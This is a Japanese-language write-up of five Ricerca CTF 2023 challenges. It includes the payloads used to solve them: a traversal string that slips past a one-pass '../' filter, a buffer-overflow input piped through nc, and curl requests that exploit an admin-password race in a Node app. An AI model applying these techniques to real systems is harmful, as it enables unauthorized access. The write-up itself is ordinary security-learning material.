Ricerca CTF 2023 Writeup

Table of Contents

ソロチーム_で参加し、6問通して589ptsで59/187位でした。別件で問題を解く時間を取れなかったのですが(時間があれば解けたのかと言われるとそうではない気がする)、CTFは継続していきたいなと思っているのでサクッとwriteupを書きます。参考になる情報は少ないと思いますが悪しからず…

本当に虚無問しか解けておらず、CTFをやったという感じがしません。welcomeは虚無なので省略します。

crackme[88pts/134solved]

Can you crack the password?

$ file crackme
crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e109ac8573ee031e7432c0d27a973fb37e492c80, for GNU/Linux 3.2.0, stripped

64-bitのELFなのでRadare2で構造を見る。

$ r2 crackme
[0x000011a0]> aaaa
(snip)
[0x000011a0]> s main
[0x000010e0]> pdf
            ;-- section..text:
            ; DATA XREF from entry0 @ 0x11c1(r)
┌ 183: int main (int argc, char **argv, char **envp);
(snip)
│           0x00001132      e899ffffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x00001137      83f801         cmp eax, 1
│       ┌─< 0x0000113a      752d           jne 0x1169
│       │   0x0000113c      488d35e30e00.  lea rsi, str.N1pp0n_Ich__s3cuR3_p45_w0rD ; 0x2026 ; "N1pp0n-Ich!_s3cuR3_p45$w0rD" ; const char *s2
│       │   0x00001143      4889ef         mov rdi, rbp                ; const char *s1
│       │   0x00001146      4189c4         mov r12d, eax
│       │   0x00001149      e862ffffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
│       │   0x0000114e      85c0           test eax, eax
│      ┌──< 0x00001150      7532           jne 0x1184
│      ││   0x00001152      488d3de90e00.  lea rdi, str.___Authenticated ; 0x2042 ; "[+] Authenticated" ; const char *s
│      ││   0x00001159      4531e4         xor r12d, r12d
│      ││   0x0000115c      e82fffffff     call sym.imp.puts           ; int puts(const char *s)
│      ││   0x00001161      4889ef         mov rdi, rbp                ; int64_t arg1
│      ││   0x00001164      e827010000     call fcn.00001290
│      ││   ; CODE XREFS from main @ 0x113a(x), 0x1190(x)
(snip)

N1pp0n-Ich!_s3cuR3_p45$w0rDを入れるだけ。

$ ./crackme 
Password: N1pp0n-Ich!_s3cuR3_p45$w0rD
[+] Authenticated
The flag is "RicSec{U_R_h1y0k0_cr4ck3r!}"

Revolving Letters[93pts/119solved]

Who keeps spinning letters around?

ソースコードを見るにdecrypt関数を書くだけ。

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"
key='thequickbrownfoxjumpsoverthelazydog'
secret = 'RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}'

def decrypt(secret, key):
  assert len(secret) <= len(key)
  
  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i]) + 26) % 26]

  return result

print(decrypt(secret, key))
# RicSec{great_you_can_do_anything!}

Cat Café[95pts/113solved]

Which cat do you like the most? https://cat-cafe.2023.ricercactf.com:8000

Webページを開くと猫の画像が表示されている。画像は http://cat-cafe.2023.ricercactf.com:8000/img?f=02.jpgのようにファイル名指定しているのでDirectory Traversalできそう。

配布ファイルを見ると、Dockerfileからflag.txtの場所が分かる。

FROM tiangolo/uwsgi-nginx-flask:latest

RUN apt update
RUN groupadd -r ctf && useradd -r -g ctf ctf
RUN pip install Flask

WORKDIR /home/ctf
ADD ./app.py    ./
ADD ./images    ./images
ADD ./templates ./templates
ADD ./uwsgi.ini ./
ADD ./flag.txt  ./
RUN chown -R root:ctf ./
RUN chmod -R 550      ./

また、クエリパラメータで指定されている部分はDirectory Traversal対策で置換されている。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "") # replacing
    path = f'images/{filename}'

しかし、この置換は1度しか行われていないので2重にするだけで良い。

http://cat-cafe.2023.ricercactf.com:8000/img?f=....//flag.txt

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

BOFSec[97pts/107solved]

100% authentic nc bofsec.2023.ricercactf.com 9001

問題名からBOFするだけな気がする。配布ファイルを見る。

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

この定義を見るに、0x100分のnameを埋めた後でis_adminに溢れさせて上書きすれば良さそう。

$ python3 -c "print('a'*0x100+'1')"  | nc bofsec.2023.ricercactf.com 9001
Name: [+] Authentication successful.
Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

tinyDB[135pts/50solves]

It’s a tiny tiny user database… http://tinydb.2023.ricercactf.com:8888

配布ファイルを見ると、POST /get_flagに対するリクエストで、userDB.entriesにおけるauth.usernameとauth.passowrdとgradeがadminなら良いことが分かる。

server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);
  // userDB.entriesにおけるauth.usernameとauth.passowrdとgradeがadminなら良い
  for (const [auth, grade] of userDB.entries()) {
    if (
      auth.username === username &&
      auth.password === password &&
      grade === "admin"
    ) {
      response
        .type("application/json")
        .send({ flag: `great! here is your flag: ${flag}` });
      return;
    }
  }
  response.type("application/json").send({ flag: "no flag for you :)" });
});

userDBは、以下の通りサイズが10より大きくなると、2000 + 3000 * Math.random()[ms]後にrollbackが起きるらしい。それまではadminのパスワードが*で埋められているため、その情報を使ってPOST /get_flagすれば良い。

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!
(snip)
$ curl '[http://tinydb.2023.ricercactf.com:8888/set_user](http://tinydb.2023.ricercactf.com:8888/set_user)' -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: [http://tinydb.2023.ricercactf.com:8888/](http://tinydb.2023.ricercactf.com:8888/)' -H 'Content-Type: application/json' -H 'Origin: [http://tinydb.2023.ricercactf.com:8888](http://tinydb.2023.ricercactf.com:8888/)' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: sessionId=Tvq9aLbAnqHOo4WaOaQaIycn_cyY8Vnz.CcCsC5lx6wXI6RyDupGkPte4vFXIRVBPx5F0M7AVK6c' --data-raw '{"username":"admin","password":"**"}'
{"authId":"admin","authPW":"**","grade":"admin"}%
$ curl '[http://tinydb.2023.ricercactf.com:8888/get_flag](http://tinydb.2023.ricercactf.com:8888/get_flag)' -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: [http://tinydb.2023.ricercactf.com:8888/](http://tinydb.2023.ricercactf.com:8888/)' -H 'Content-Type: application/json' -H 'Origin: [http://tinydb.2023.ricercactf.com:8888](http://tinydb.2023.ricercactf.com:8888/)' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: sessionId=Tvq9aLbAnqHOo4WaOaQaIycn_cyY8Vnz.CcCsC5lx6wXI6RyDupGkPte4vFXIRVBPx5F0M7AVK6c' --data-raw '{"username":"admin","password":"********************************"}'
{"flag":"great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}"}%

個人的にno timing attack!は嘘の誘導っぽく見えなくもないので、ない方が良かったなと思いました。

Posted on Apr 23, 2023